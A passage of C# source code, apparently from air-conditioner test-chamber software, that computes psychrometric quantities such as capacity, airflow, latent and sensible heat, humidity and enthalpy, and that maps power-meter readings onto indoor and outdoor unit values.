// ### 2-1. Entering RH (상대습도)
o["Entering RH"].StoredValue = (float)AirFormula.GetRh(pb, epds, exw, AirFormula.GetU(exw, exs), etd);
if (coefficient == null) return;
double coefCapacity = (mode == EIndoorMode.Cooling) ? coefficient.CoolingCapacity : coefficient.HeatingCapacity;
double coefAirFlow = coefficient.Airflow;
double ltd = i["Leaving DB"].Raw;
double ltw = i["Leaving WB"].Raw;
double deltaT = etd - ltd;
if (mode == EIndoorMode.Heating)
deltaT = -deltaT;
double qLoss = (float)GetQLoss(coefficient, mode, duct, deltaT);
// ### 1-1. Capacity (Qac)
double qac = 0d;
double[] noz = GetNozzleCheckedList(i, "Nozzle1", "Nozzle2", "Nozzle3", "Nozzle4");
double[] d = GetNozzleValueList(coefficient, noz.Length);
//double pn = i["Nozzle Diff Pressure"].Convert((int)EUnitDiffPressure.kg_cm2);
double pn = i["Nozzle Diff Pressure"].Raw;
//double pc = i["Static Pressure"].Convert((int)EUnitDiffPressure.kg_cm2);
double pc = i["Static Pressure"].Raw;
double rho5 = AirFormula.GetRho5(ltd, ltw, pc, pb);
double lpds = AirFormula.GetPws(ltd); // Leaving DB 기준 포화수증기압
double lpws = AirFormula.GetPws(ltw); // Leaving WB 기준 포화수증기압
double lxs = AirFormula.GetXs(pb, lpws); // Leaving WB 기준 포화절대습도
double lxw = 0d;
if (mode == EIndoorMode.Heating)
lxw = exw;
else
lxw = AirFormula.GetXw(ltd, ltw, lxs); // Leaving 절대습도
double nozzleInletTemp = i["Nozzle Inlet Temp"].Raw;
double nvw = AirFormula.GetVw(AirFormula.GetVd(pb, nozzleInletTemp, lxw), lxw); // Nozzle Inlet Temp. 기준 비체적(습공기)
double[] vx = AirFormula.GetVx(d, pn, pb, rho5, nozzleInletTemp, nvw); // Nozzle Inlet 기준 노즐통과풍속
double vw = AirFormula.GetVw(AirFormula.GetVd(pb, ltd, lxw), lxw); // Leaving DB 기준 비체적(습공기)
double yex = AirFormula.GetYex(nozzleInletTemp, ltw, pn, pc, pb); // Nozzle Inlet 기준 팽창계수
double ga = AirFormula.GetGa(noz, vx, d, yex, pn, AirFormula.GetVd(pb, nozzleInletTemp, lxw)); // Original 풍량
ga *= coefAirFlow;
double vmDry = AirFormula.GetVmDry(ga, vw, nvw, exw); // 체적 풍량
double maDry = AirFormula.GetMaDry(ga, AirFormula.GetVd(pb, nozzleInletTemp, lxw)); // 질량 풍량
if (mode == EIndoorMode.Cooling)
{
double haI = AirFormula.GetHa(etd, exw);
double haO = AirFormula.GetHa(ltd, lxw);
qac = AirFormula.GetQacCold(maDry, AirFormula.GetVd(pb, nozzleInletTemp, lxw), exw, haI, haO, qLoss); // 체적 풍량, 출구측, 입구측, 입구측, 출구측, 열손실
}
// Heat
else
{
qac = AirFormula.GetQacHeat(maDry, AirFormula.GetVd(pb, nozzleInletTemp, lxw), lxw, etd, ltd, qLoss);
}
qac *= coefCapacity; // Capacity 보정계수 적용
o["Capacity"].StoredValue = (float)qac;
// ### 1-2. Rated Capacity
//o["Rated Capacity"].StoredValue = ratedCondition.Capacity;
// ### 1-3. Capacity Ratio (Capacity / Rated Capacity)
//o["Capacity Ratio"].StoredValue = qac / ratedCondition.Capacity * 100d;
// ### 1-8. Drain Weight (Gcw)
double gcw = 0d;
if (mode == EIndoorMode.Cooling)
{
double xwI = AirFormula.GetXw(etd, etw, exs);
double xwO = AirFormula.GetXw(ltd, ltw, lxs);
gcw = AirFormula.GetGcw(maDry, xwI, xwO);
}
// Heat
else
{
gcw = 0;
}
o["Drain Weight"].StoredValue = (float)gcw;
// ### 1-5. Latent Heat (Qcc)
double qcc = 0d;
if (mode == EIndoorMode.Cooling)
{
qcc = AirFormula.GetQcc(qac, gcw);
}
// Heat
else
{
qcc = 0;
}
o["Latent Heat"].StoredValue = (float)qcc;
// ### 1-4. Sensible Heat (Qs)
double qs = 0d;
if (mode == EIndoorMode.Cooling)
{
qs = qac - qcc;
}
// Heat
else
{
qs = qac;
}
o["Sensible Heat"].StoredValue = (float)qs;
// ### 1-6. Sensible Heat Ratio (SHR)
o["Sensible Heat Ratio"].StoredValue = (float)AirFormula.GetShr(qac, qs);
// ### 1-7. Heat Leakage (Qloss)
o["Heat Leakage"].StoredValue = (float)qLoss;
// ### 2-2. Leaving RH (상대습도)
//o["Leaving RH"].Value = AirFormula.GetRh(pb, lpds, lxw, AirFormula.GetU(lxw, lxs), ltd);
o["Leaving RH"].StoredValue = (float)AirFormula.GetRh(pb, lpds, AirFormula.GetXw(ltd, ltw, lxs), AirFormula.GetU(lxw, lxs), ltd);
// ### 2-3. Entering Enthalpy (Ha)
o["Entering Enthalpy"].StoredValue = (float)AirFormula.GetHa(etd, exw);
// ### 2-4. Leaving Enthalpy (Ha)
o["Leaving Enthalpy"].StoredValue = (float)AirFormula.GetHa(ltd, lxw);
// ### 2-5. Entering Humidity Ratio
o["Entering Humidity Ratio"].StoredValue = (float)exw;
// ### 2-6. Leaving Humidity Ratio
o["Leaving Humidity Ratio"].StoredValue = (float)lxw;
// ### 2-7. Leaving Specific Heat
o["Leaving Specific Heat"].StoredValue = (float)AirFormula.GetCp(lxw);
// ### 2-8. Leaving Specific Volume
o["Leaving Specific Volume"].StoredValue = (float)AirFormula.GetVw(AirFormula.GetVd(pb, ltd, lxw), lxw);
// KDN 추가 (18.04.10) {{{
// ### 2-11. Entering Specific Heat
//if (o.ContainsKey("Entering Specific Heat") == true)
// o["Entering Specific Heat"].StoredValue = (float)AirFormula.GetCp(exw);
// ### 2-12. Entering Specific Volume
//if (o.ContainsKey("Entering Specific Volume") == true)
// o["Entering Specific Volume"].StoredValue = (float)AirFormula.GetVw(AirFormula.GetVd(pb, etd, exw), exw);
// ### 2-13. Leaving Density
//if (o.ContainsKey("Leaving Density") == true)
// o["Leaving Density"].StoredValue = (float)(1d / (AirFormula.GetVw(AirFormula.GetVd(pb, ltd, lxw), lxw)));
// }}}
// ### 3-1. Air Flow [Lev]
o["Air Flow [Lev]"].StoredValue = (float)vmDry;
// ### 3-2. Fan Power
//var fanpower = 0d;
//if (fanPowerUse == UseKind.Use)
// fanpower = ((vmDry / 60 * 1000) * 10e-3 * (Math.Abs(pc) * 9.80661358d)) / 0.3d;
//o["Fan Power"].StoredValue = fanpower;
// ### 3-3. Air Velocity [Lev]
// ### 10-1. 냉방 시험 시 입구 절대 습도보다 출구 절대 습도가 높을 때
if (mode == EIndoorMode.Cooling && exw <= lxw)
{
//var capacity = qac - Math.Abs(qcc);
//o["Capacity"].Storage.Set(capacity);
o["Drain Weight"].Storage.Set(0);
o["Latent Heat"].Storage.Set(0);
o["Sensible Heat"].Storage.Set((float)qac);
o["Sensible Heat Ratio"].Storage.Set(100);
}
// ### 열교환기 관련 계산 추가 (2017.08.19)
// ### 11-1. Capacity (Qac)
double qLoss2 = (float)GetQLoss(coefficient, mode, duct, deltaT);
double qac2 = 0d;
double pb2 = pb - pc / 13.6d;
double lxs2 = AirFormula.GetXs(pb2, lpws);
double lxw2 = 0d;
if (mode == EIndoorMode.Heating)
lxw2 = exw;
else
lxw2 = AirFormula.GetXw(ltd, ltw, lxs2);
double nvw2 = AirFormula.GetVw(AirFormula.GetVd(pb2, nozzleInletTemp, lxw2), lxw2);
double[] vx2 = AirFormula.GetVx(d, pn, pb2, rho5, nozzleInletTemp, nvw2);
double vw2 = AirFormula.GetVw(AirFormula.GetVd(pb, etd, exw), exw);
double vw3 = AirFormula.GetVw(AirFormula.GetVd(pb2, ltd, lxw2), lxw2);
double yex2 = AirFormula.GetYex(nozzleInletTemp, ltw, pn, pc, pb2);
double ga2 = AirFormula.GetGa(noz, vx2, d, yex2, pn, AirFormula.GetVd(pb2, nozzleInletTemp, lxw2));
ga2 *= coefAirFlow;
double vmDry2 = AirFormula.GetVmDry(ga2, vw2, nvw2, exw); // 체적 풍량.1
double vmDry3 = AirFormula.GetVmDry(ga2, vw3, nvw2, exw); // 체적 풍량.2
double maDry2 = AirFormula.GetMaDry(ga2, AirFormula.GetVd(pb2, nozzleInletTemp, lxw2)); // 질량 풍량
if (mode == EIndoorMode.Cooling)
{
double haI = AirFormula.GetHa(etd, exw);
double haO = AirFormula.GetHa(ltd, lxw2);
qac2 = AirFormula.GetQacCold(maDry2, AirFormula.GetVd(pb2, nozzleInletTemp, lxw2), exw, haI, haO, qLoss2);
}
// Heat
else
{
qac2 = AirFormula.GetQacHeat(maDry2, AirFormula.GetVd(pb2, nozzleInletTemp, lxw2), lxw, etd, ltd, qLoss2);
}
qac2 *= coefCapacity;
// o["Capacity"].StoredValue = qac2;
// ### 11-8. Drain Weight (Gcw2)
double gcw2 = 0d;
if (mode == EIndoorMode.Cooling)
{
double xwI = AirFormula.GetXw(etd, etw, exs);
double xwO = AirFormula.GetXw(ltd, ltw, lxs2);
gcw2 = AirFormula.GetGcw(maDry2, xwI, xwO);
}
// Heat
else
{
gcw2 = 0;
}
//o["Drain Weight"].StoredValue = gcw2;
// ### 11-5. Latent Heat (Qcc2)
double qcc2 = 0d;
if (mode == EIndoorMode.Cooling)
{
qcc2 = AirFormula.GetQcc(qac2, gcw2);
}
// Heat
else
{
qcc2 = 0;
}
//o["Latent Heat"].StoredValue = qcc2;
// ### 11-4. Sensible Heat (Qs2)
double qs2 = 0d;
if (mode == EIndoorMode.Cooling)
{
qs2 = qac2 - qcc2;
}
// Heat
else
{
qs2 = qac2;
}
//o["Sensible Heat"].Value = qs2;
// ### 11-6. Sensible Heat Ratio (SHR)
//o["Sensible Heat Ratio"].StoredValue = AirFormula.GetShr(qac2, qs2);
// ### 12-2. Leaving RH (상대습도)
// o["Leaving RH"].StoredValue = AirFormula.GetRh(pb2, lpds, AirFormula.GetXw(ltd, ltw, lxs2), AirFormula.GetU(lxw2, lxs2), ltd);
// ### 12-4. Leaving Enthalpy (Ha)
// o["Leaving Enthalpy"].StoredValue = AirFormula.GetHa(ltd, lxw2);
// ### 12-8. Leaving Specific Heat
// o["Leaving Specific Heat"].StoredValue = AirFormula.GetCp(lxw2);
// ### 13-3. Air Velocity [Lev]
if (o.ContainsKey("Air Velocity [Lev]") == true)
o["Air Velocity [Lev]"].StoredValue = (float)GetAirVelocity(vx2, noz);
else
o["Air Velocity [Lev]"].StoredValue = 0;
}
private double[] GetNozzleValueList(CoefficientDataRow coefficient, int count) // 노즐경 리스트
{
// mm -> m 단위 변환
var list = new double[]
{
(double)coefficient.Nozzle1 / 1000d,
(double)coefficient.Nozzle2 / 1000d,
(double)coefficient.Nozzle3 / 1000d,
(double)coefficient.Nozzle4 / 1000d,
};
var result = new double[count];
Array.Copy(list, result, count);
return result;
}
private double[] GetNozzleCheckedList(Dictionary<string, ValueRow> i, params string[] nozzleNames) // 노즐 선택 여부 확인
{
var result = new List<double>();
for (var idx = 0; idx < nozzleNames.Length; idx++)
{
var nozzleName = nozzleNames[idx];
var value = i[nozzleName];
if (value == null) continue;
result.Add(value.Value);
}
return result.ToArray();
}
private double GetAirVelocity(double[] vx2, double[] nozzleOnOffList)
{
for (var i = 0; i < 4; i++)
{
vx2[i] *= nozzleOnOffList[i];
}
var count = 0;
foreach (var v in nozzleOnOffList)
{
if (v > 0d) count++;
}
if (count == 0) return 0d;
var sum = vx2.Sum();
return sum / count;
}
private double GetQLoss(CoefficientDataRow coefficient, EIndoorMode mode, EIndoorDuct duct, double deltaT)
{
double[] hlks;
var count = 0;
if (duct == EIndoorDuct.NotUsed)
count = 1;
else
count = (int)duct + 1 + 1;
var result = 0d;
if (mode == EIndoorMode.Cooling)
{
hlks = new double[]
{
(double)coefficient.Cooling_HLK,
(double)coefficient.Cooling_HLK_Duct1,
(double)coefficient.Cooling_HLK_Duct2,
(double)coefficient.Cooling_HLK_Duct3,
(double)coefficient.Cooling_HLK_Duct4,
(double)coefficient.Cooling_HLK_Duct5
};
}
else
{
hlks = new double[]
{
(double)coefficient.Heating_HLK,
(double)coefficient.Heating_HLK_Duct1,
(double)coefficient.Heating_HLK_Duct2,
(double)coefficient.Heating_HLK_Duct3,
(double)coefficient.Heating_HLK_Duct4,
(double)coefficient.Heating_HLK_Duct5
};
}
for (var i = 0; i < count; i++)
result += AirFormula.GetQLoss(hlks[i], deltaT);
return result;
}
private void SetFixedAtmPressure()
{
if (Resource.Settings.Options.FixedAtmPressure == true)
{
Value.Measured["ID1.Atm.Pressure"].Value = (float)AirFormula.Pb;
Value.Measured["ID2.Atm.Pressure"].Value = (float)AirFormula.Pb;
}
}
private void SetPowerMeterValues()
{
string iduHead;
string oduHead;
EIndoorMode mode;
EConditionRated rated;
float totalPower = 0;
float totalCurrent = 0;
ConditionSchedule sch = Condition.Schedules[Index];
iduHead = GetHeadIDU(EConditionRated.Total, EIndoorMode.Cooling);
oduHead = GetHeadODU(EConditionRated.Total, EIndoorMode.Cooling);
if (iduHead == "None")
{
Value.Calcurated["Total.IDU.Power"].StoredValue = 0;
Value.Calcurated["Total.IDU.Voltage"].StoredValue = 0;
Value.Calcurated["Total.IDU.Current"].StoredValue = 0;
Value.Calcurated["Total.IDU.Frequency"].StoredValue = 0;
Value.Calcurated["Total.IDU.Power.Factor"].StoredValue = 0;
Value.Calcurated["Total.IDU.Integ.Power"].StoredValue = 0;
Value.Calcurated["Total.IDU.Integ.Time"].StoredValue = 0;
}
else
{
Value.Calcurated["Total.IDU.Power"].StoredValue = Value.Measured[iduHead + "R.W"].Raw;
Value.Calcurated["Total.IDU.Voltage"].StoredValue = Value.Measured[iduHead + "R.V"].Raw;
Value.Calcurated["Total.IDU.Current"].StoredValue = Value.Measured[iduHead + "R.A"].Raw;
Value.Calcurated["Total.IDU.Frequency"].StoredValue = Value.Measured[iduHead + "R.Hz"].Raw;
Value.Calcurated["Total.IDU.Power.Factor"].StoredValue = Value.Measured[iduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["Total.IDU.Integ.Power"].StoredValue = Value.Measured[iduHead + "R.Wh"].Raw;
Value.Calcurated["Total.IDU.Integ.Time"].StoredValue = Value.Measured[iduHead + "Time"].Raw;
}
if (oduHead == "None")
{
Value.Calcurated["Total.ODU.Power"].StoredValue = 0;
Value.Calcurated["Total.ODU.Voltage"].StoredValue = 0;
Value.Calcurated["Total.ODU.Current"].StoredValue = 0;
Value.Calcurated["Total.ODU.Frequency"].StoredValue = 0;
Value.Calcurated["Total.ODU.Power.Factor"].StoredValue = 0;
Value.Calcurated["Total.ODU.Integ.Power"].StoredValue = 0;
Value.Calcurated["Total.ODU.Integ.Time"].StoredValue = 0;
}
else
{
switch (GetWiringODU(EConditionRated.Total, EIndoorMode.Cooling))
{
case EWT330Wiring.P1W3:
Value.Calcurated["Total.ODU.Power"].StoredValue = Value.Measured[oduHead + "R.W"].Raw;
Value.Calcurated["Total.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "R.V"].Raw;
Value.Calcurated["Total.ODU.Current"].StoredValue = Value.Measured[oduHead + "R.A"].Raw;
Value.Calcurated["Total.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "R.Hz"].Raw;
Value.Calcurated["Total.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["Total.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "R.Wh"].Raw;
Value.Calcurated["Total.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W3:
Value.Calcurated["Total.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["Total.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["Total.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["Total.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["Total.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["Total.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["Total.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W4:
Value.Calcurated["Total.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["Total.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["Total.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["Total.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["Total.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["Total.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["Total.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
}
}
if (sch.Indoor1Use == EIndoorUse.NotUsed)
{
Value.Calcurated["ID1.IDU.Power"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Voltage"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Current"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Frequency"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Integ.Time"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Power"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Voltage"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Current"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Frequency"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Integ.Time"].StoredValue = 0;
}
else
{
if (sch.Indoor1Mode1 != EIndoorMode.NotUsed)
{
mode = sch.Indoor1Mode1;
rated = EConditionRated.ID11;
}
else if (sch.Indoor1Mode2 != EIndoorMode.NotUsed)
{
mode = sch.Indoor1Mode2;
rated = EConditionRated.ID12;
}
else
{
mode = EIndoorMode.Cooling;
rated = EConditionRated.ID11;
}
iduHead = GetHeadIDU(rated, mode);
oduHead = GetHeadODU(rated, mode);
if (iduHead == "None")
{
Value.Calcurated["ID1.IDU.Power"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Voltage"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Current"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Frequency"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID1.IDU.Integ.Time"].StoredValue = 0;
}
else
{
Value.Calcurated["ID1.IDU.Power"].StoredValue = Value.Measured[iduHead + "R.W"].Raw;
Value.Calcurated["ID1.IDU.Voltage"].StoredValue = Value.Measured[iduHead + "R.V"].Raw;
Value.Calcurated["ID1.IDU.Current"].StoredValue = Value.Measured[iduHead + "R.A"].Raw;
Value.Calcurated["ID1.IDU.Frequency"].StoredValue = Value.Measured[iduHead + "R.Hz"].Raw;
Value.Calcurated["ID1.IDU.Power.Factor"].StoredValue = Value.Measured[iduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["ID1.IDU.Integ.Power"].StoredValue = Value.Measured[iduHead + "R.Wh"].Raw;
Value.Calcurated["ID1.IDU.Integ.Time"].StoredValue = Value.Measured[iduHead + "Time"].Raw;
}
if (oduHead == "None")
{
Value.Calcurated["ID1.ODU.Power"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Voltage"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Current"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Frequency"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID1.ODU.Integ.Time"].StoredValue = 0;
}
else
{
switch (GetWiringODU(rated, mode))
{
case EWT330Wiring.P1W3:
Value.Calcurated["ID1.ODU.Power"].StoredValue = Value.Measured[oduHead + "R.W"].Raw;
Value.Calcurated["ID1.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "R.V"].Raw;
Value.Calcurated["ID1.ODU.Current"].StoredValue = Value.Measured[oduHead + "R.A"].Raw;
Value.Calcurated["ID1.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "R.Hz"].Raw;
Value.Calcurated["ID1.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["ID1.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "R.Wh"].Raw;
Value.Calcurated["ID1.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W3:
Value.Calcurated["ID1.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["ID1.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["ID1.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["ID1.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["ID1.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["ID1.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["ID1.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W4:
Value.Calcurated["ID1.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["ID1.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["ID1.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["ID1.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["ID1.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["ID1.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["ID1.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
}
}
totalPower += Value.Calcurated["ID1.IDU.Power"].Raw;
totalPower += Value.Calcurated["ID1.ODU.Power"].Raw;
totalCurrent += Value.Calcurated["ID1.IDU.Current"].Raw;
totalCurrent += Value.Calcurated["ID1.ODU.Current"].Raw;
}
if (sch.Indoor2Use == EIndoorUse.NotUsed)
{
Value.Calcurated["ID2.IDU.Power"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Voltage"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Current"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Frequency"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Integ.Time"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Power"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Voltage"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Current"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Frequency"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Integ.Time"].StoredValue = 0;
}
else
{
if (sch.Indoor2Mode1 != EIndoorMode.NotUsed)
{
mode = sch.Indoor2Mode1;
rated = EConditionRated.ID21;
}
else if (sch.Indoor2Mode2 != EIndoorMode.NotUsed)
{
mode = sch.Indoor2Mode2;
rated = EConditionRated.ID22;
}
else
{
mode = EIndoorMode.Cooling;
rated = EConditionRated.ID21;
}
iduHead = GetHeadIDU(rated, mode);
oduHead = GetHeadODU(rated, mode);
if (iduHead == "None")
{
Value.Calcurated["ID2.IDU.Power"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Voltage"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Current"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Frequency"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID2.IDU.Integ.Time"].StoredValue = 0;
}
else
{
Value.Calcurated["ID2.IDU.Power"].StoredValue = Value.Measured[iduHead + "R.W"].Raw;
Value.Calcurated["ID2.IDU.Voltage"].StoredValue = Value.Measured[iduHead + "R.V"].Raw;
Value.Calcurated["ID2.IDU.Current"].StoredValue = Value.Measured[iduHead + "R.A"].Raw;
Value.Calcurated["ID2.IDU.Frequency"].StoredValue = Value.Measured[iduHead + "R.Hz"].Raw;
Value.Calcurated["ID2.IDU.Power.Factor"].StoredValue = Value.Measured[iduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["ID2.IDU.Integ.Power"].StoredValue = Value.Measured[iduHead + "R.Wh"].Raw;
Value.Calcurated["ID2.IDU.Integ.Time"].StoredValue = Value.Measured[iduHead + "Time"].Raw;
}
if (oduHead == "None")
{
Value.Calcurated["ID2.ODU.Power"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Voltage"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Current"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Frequency"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Power.Factor"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Integ.Power"].StoredValue = 0;
Value.Calcurated["ID2.ODU.Integ.Time"].StoredValue = 0;
}
else
{
switch (GetWiringODU(rated, mode))
{
case EWT330Wiring.P1W3:
Value.Calcurated["ID2.ODU.Power"].StoredValue = Value.Measured[oduHead + "R.W"].Raw;
Value.Calcurated["ID2.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "R.V"].Raw;
Value.Calcurated["ID2.ODU.Current"].StoredValue = Value.Measured[oduHead + "R.A"].Raw;
Value.Calcurated["ID2.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "R.Hz"].Raw;
Value.Calcurated["ID2.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "R.PF"].Raw * 100.0f;
Value.Calcurated["ID2.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "R.Wh"].Raw;
Value.Calcurated["ID2.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W3:
Value.Calcurated["ID2.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["ID2.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["ID2.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["ID2.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["ID2.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["ID2.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["ID2.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
case EWT330Wiring.P3W4:
Value.Calcurated["ID2.ODU.Power"].StoredValue = Value.Measured[oduHead + "Sigma.W"].Raw;
Value.Calcurated["ID2.ODU.Voltage"].StoredValue = Value.Measured[oduHead + "Sigma.V"].Raw;
Value.Calcurated["ID2.ODU.Current"].StoredValue = Value.Measured[oduHead + "Sigma.A"].Raw;
Value.Calcurated["ID2.ODU.Frequency"].StoredValue = Value.Measured[oduHead + "Sigma.Hz"].Raw;
Value.Calcurated["ID2.ODU.Power.Factor"].StoredValue = Value.Measured[oduHead + "Sigma.PF"].Raw * 100.0f;
Value.Calcurated["ID2.ODU.Integ.Power"].StoredValue = Value.Measured[oduHead + "Sigma.Wh"].Raw;
Value.Calcurated["ID2.ODU.Integ.Time"].StoredValue = Value.Measured[oduHead + "Time"].Raw;
break;
}
}
totalPower += Value.Calcurated["ID2.IDU.Power"].Raw;
totalPower += Value.Calcurated["ID2.ODU.Power"].Raw;
totalCurrent += Value.Calcurated["ID2.IDU.Current"].Raw;
totalCurrent += Value.Calcurated["ID2.ODU.Current"].Raw;
}
Value.Calcurated["Total.Power"].StoredValue = totalPower;
Value.Calcurated["Total.Current"].StoredValue = totalCurrent;
}
private string GetHeadIDU(EConditionRated rated, EIndoorMode mode)
{
int i = 0;
int j = 0;
int pmNo = Condition.Rateds[rated][(int)mode].PM_IDU;
string sRet = "None";
foreach (PowerMeterRow<float> row in Resource.Client.Devices.PowerMeter.Rows)
{
if (row.Phase == EWT330Phase.P1)
{
if (j == pmNo)
{
sRet = $"PM{i + 1}.";
break;
}
else
{
j++;
}
}
i++;
}
return sRet;
}
private string GetHeadODU(EConditionRated rated, EIndoorMode mode)
{
int i = 0;
int j = 0;
int pmNo = Condition.Rateds[rated][(int)mode].PM_ODU;
string sRet = "None";
foreach (PowerMeterRow<float> row in Resource.Client.Devices.PowerMeter.Rows)
{
if (row.Phase == EWT330Phase.P3)
{
if (j == pmNo)
{
sRet = $"PM{i + 1}.";
break;
}
else
{
j++;
}
}
i++;
}
return sRet;
}
